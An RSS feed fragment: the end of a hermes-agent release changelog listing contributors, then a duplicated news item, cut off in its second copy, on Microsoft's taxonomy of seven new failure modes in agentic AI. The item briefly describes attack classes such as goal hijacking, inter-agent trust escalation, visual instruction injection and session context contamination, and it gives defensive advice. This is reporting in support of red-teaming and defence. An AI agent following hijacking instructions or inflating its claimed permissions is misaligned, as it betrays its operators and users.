href="https://github.com/firefly">@firefly</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flooryyyy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flooryyyy">@flooryyyy</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Foldblade/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Foldblade">@Foldblade</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gbarany/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gbarany">@gbarany</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Glucksberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Glucksberg">@Glucksberg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haran2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haran2001">@haran2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HashClawAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HashClawAI">@HashClawAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hayka-pacha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hayka-pacha">@hayka-pacha</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hinotoi-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hinotoi-agent">@Hinotoi-agent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hllqkb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hllqkb">@hllqkb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IAvecilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IAvecilla">@IAvecilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/inchargeautomation-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/inchargeautomation-lab">@inchargeautomation-lab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Interstellar-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Interstellar-code">@Interstellar-code</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/isair/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/isair">@isair</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ITheEqualizer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ITheEqualizer">@ITheEqualizer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrobodie-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrobodie-glitch">@jeffrobodie-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JezzaHehn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JezzaHehn">@JezzaHehn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimLiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimLiu">@JimLiu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Julientalbot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Julientalbot">@Julientalbot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/julio-cloudvisor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/julio-cloudvisor">@julio-cloudvisor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/karmeleon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/karmeleon">@karmeleon</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kenmege/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kenmege">@Kenmege</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kewe63/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kewe63">@Kewe63</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kolektori/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kolektori">@Kolektori</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurobaryo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurobaryo">@kurobaryo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kweiner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kweiner">@kweiner</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kyssta-exe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kyssta-exe">@kyssta-exe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kyzcreig/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kyzcreig">@Kyzcreig</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LengR/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LengR">@LengR</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leonardsellem/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leonardsellem">@leonardsellem</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/libre-7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/libre-7">@libre-7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuboacean/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuboacean">@liuboacean</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LoongZhao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LoongZhao">@LoongZhao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MaheshtheDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MaheshtheDev">@MaheshtheDev</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Manzela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Manzela">@Manzela</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mathijsvandenhurk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mathijsvandenhurk">@mathijsvandenhurk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MattMaximo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MattMaximo">@MattMaximo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxcz79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxcz79">@maxcz79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxmilian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxmilian">@maxmilian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Moikapy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Moikapy">@Moikapy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MustafaKara7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MustafaKara7">@MustafaKara7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nateGeorge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nateGeorge">@nateGeorge</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nepenth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nepenth">@nepenth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nielskaspers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nielskaspers">@nielskaspers</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ninjmnky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ninjmnky">@ninjmnky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/octavioturra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/octavioturra">@octavioturra</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OCWC22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OCWC22">@OCWC22</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ohMyJason/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ohMyJason">@ohMyJason</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ousiaresearch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ousiaresearch">@ousiaresearch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/outsourc-e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/outsourc-e">@outsourc-e</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Pluviobyte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Pluviobyte">@Pluviobyte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/polnikale/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/polnikale">@polnikale</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pxdsgnco/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pxdsgnco">@pxdsgnco</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Que0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Que0x">@Que0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/redpiggy-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/redpiggy-cyber">@redpiggy-cyber</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rexdotsh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rexdotsh">@rexdotsh</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SaguaroDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SaguaroDev">@SaguaroDev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahibzada-allahyar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahibzada-allahyar">@sahibzada-allahyar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sarbai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sarbai">@Sarbai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sarvesh1327/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sarvesh1327">@sarvesh1327</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scubamount/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scubamount">@scubamount</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SeaXen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SeaXen">@SeaXen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/seppegadeyne/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/seppegadeyne">@seppegadeyne</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SimoKiihamaki/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SimoKiihamaki">@SimoKiihamaki</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SiTaggart/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SiTaggart">@SiTaggart</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solaitken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solaitken">@solaitken</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sprmn24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sprmn24">@sprmn24</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/steveonjava/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/steveonjava">@steveonjava</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stremtec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stremtec">@stremtec</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Subway2023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Subway2023">@Subway2023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sweetcornna/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sweetcornna">@sweetcornna</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sylw3ster/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sylw3ster">@Sylw3ster</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ThyFriendlyFox/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ThyFriendlyFox">@ThyFriendlyFox</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tillfalko/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tillfalko">@tillfalko</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tmchow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tmchow">@tmchow</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TonyPepeBear/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TonyPepeBear">@TonyPepeBear</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tranquil-Flow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tranquil-Flow">@Tranquil-Flow</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/truenorth-lj/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/truenorth-lj">@truenorth-lj</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tuancookiez-hub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tuancookiez-hub">@tuancookiez-hub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Twanislas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Twanislas">@Twanislas</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tymrtn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tymrtn">@tymrtn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/uzunkuyruk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/uzunkuyruk">@uzunkuyruk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ViewWay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ViewWay">@ViewWay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VinciZhu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VinciZhu">@VinciZhu</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vinoth12940/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vinoth12940">@vinoth12940</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vladkvlchk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vladkvlchk">@vladkvlchk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vynxevainglory-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vynxevainglory-ai">@vynxevainglory-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wenchengxucool/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wenchengxucool">@wenchengxucool</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/whyhkzk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/whyhkzk">@whyhkzk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/worlldz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/worlldz">@worlldz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wysie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wysie">@wysie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/x1am1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/x1am1">@x1am1</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ygd58/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ygd58">@ygd58</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/youngstar-eth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/youngstar-eth">@youngstar-eth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zapabob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zapabob">@zapabob</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhaoleibd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhaoleibd">@zhaoleibd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zyrixtrex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zyrixtrex">@Zyrixtrex</a></p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.5.29.2...v2026.6.5">v2026.5.29.2...v2026.6.5</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft identifies seven new ways AI agents can be hacked]]></title>
<description><![CDATA[Microsoft has identified seven new failure modes in agentic AI systems, in addition to those it identified last year in its first Taxonomy of Failure Modes in Agentic AI Systems.



Four things contributed to the growing list of ways agentic AI can go wrong: the speed at which the technology went...]]></description>
<link>https://tsecurity.de/de/3576178/it-security-nachrichten/microsoft-identifies-seven-new-ways-ai-agents-can-be-hacked/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576178/it-security-nachrichten/microsoft-identifies-seven-new-ways-ai-agents-can-be-hacked/</guid>
<pubDate>Fri, 05 Jun 2026 19:23:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Microsoft has identified seven new failure modes in agentic AI systems, in addition to those it identified last year in its first <a href="https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/final/en-us/microsoft-brand/documents/Taxonomy-of-Failure-Mode-in-Agentic-AI-Systems-Whitepaper.pdf" target="_blank" rel="noreferrer noopener">Taxonomy of Failure Modes in Agentic AI Systems</a>.</p>



<p>Four things contributed to the growing list of <a href="https://www.infoworld.com/article/4040909/why-ai-fails-at-business-context-and-what-to-do-about-it.html">ways agentic AI can go wrong</a>: the speed at which the technology went mainstream, the growing maturity of the Model Context Protocol (MCP) ecosystem, the rise of computer-use agents, and finally the gathering of more empirical evidence as researchers obtained more real-life findings.</p>



<p>The <a href="https://www.microsoft.com/en-us/security/blog/2026/06/04/updating-taxonomy-failure-modes-agentic-ai-systems-year-red-teaming-taught-us/">seven new failure modes</a> it has identified are:</p>



<ul class="wp-block-list">
<li>Agentic Supply Chain Compromise —agent behavior can be affected by natural language rather than malicious code;</li>



<li>Goal Hijacking — adversarial instructions appear aligned with legitimate task completion, while silently redirecting the agent’s terminal goal;</li>



<li>Inter-Agent Trust Escalation —a compromised agent asserts false identity or inflates claimed permissions to an orchestrator;</li>



<li>Computer Use Agent (CUA) Visual Attack — agents operating through graphical interfaces can be manipulated through content that carries adversarial instructions for the agent;</li>



<li>Session Context Contamination —an adversary introduces data that biases the agent’s reasoning in subsequent steps, without triggering safety controls at any individual step;</li>



<li>MCP / Plugin Abuse — an update on the original taxonomy’s coverage of function compromise around MCP and plugin protocols, specifically attack surfaces specific to those protocols;</li>



<li>Capability / Architecture Disclosure —an agent reveals internal implementation details such as tool names and schemas, system-prompt structure, memory interfaces, or consent/human-in-the-loop trigger logic.</li>
</ul>



<p>Microsoft advises security teams using these definitions to influence their planning to inventory their your supply chain, generating a software bill of materials (SBOM) for every deployed agent, to verify agent identity cryptographically, not positionally, by issuing <a href="https://www.csoonline.com/article/4163365/what-cisos-need-to-get-right-as-identity-enters-the-agentic-era.html">attestable credentials</a> at provisioning, to add the seven new failure modes to their red-team coverage matrix, and to audit the human-in-the-loop user experience as a security control.</p>



<p><em>This article first appeared on <a href="https://www.infoworld.com/article/4181844/microsoft-identifies-seven-new-ways-ai-agents-can-be-hacked.html">InfoWorld</a>.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft identifies seven new ways AI agents can be hacked]]></title>
<description><![CDATA[Microsoft has identified seven new failure modes in agentic AI systems, in addition to those it identified last year in its first Taxonomy of Failure Modes in Agentic AI Systems.



Four things contributed to the growing list of ways agentic AI can go wrong: the speed at which the technology went...]]></description>
<link>https://tsecurity.de/de/3576175/ai-nachrichten/microsoft-identifies-seven-new-ways-ai-agents-can-be-hacked/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576175/ai-nachrichten/microsoft-identifies-seven-new-ways-ai-agents-can-be-hacked/</guid>
<pubDate>Fri, 05 Jun 2026 19:19:05 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Microsoft has identified seven new failure modes in agentic AI systems, in addition to those it identified last year in its first <a href="https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/final/en-us/microsoft-brand/documents/Taxonomy-of-Failure-Mode-in-Agentic-AI-Systems-Whitepaper.pdf" target="_blank" rel="noreferrer noopener">Taxonomy of Failure Modes in Agentic AI Systems</a>.</p>



<p>Four things contributed to the growing list of <a href="https://www.infoworld.com/article/4040909/why-ai-fails-at-business-context-and-what-to-do-about-it.html">ways agentic AI can go wrong</a>: the speed at which the technology went mainstream, the growing maturity of the Model Context Protocol (MCP) ecosystem, the rise of computer-use agents, and finally the gathering of more empirical evidence as researchers obtained more real-life findings.</p>



<p>The <a href="https://www.microsoft.com/en-us/security/blog/2026/06/04/updating-taxonomy-failure-modes-agentic-ai-systems-year-red-teaming-taught-us/">seven new failure modes</a> it has identified are:</p>



<ul class="wp-block-list">
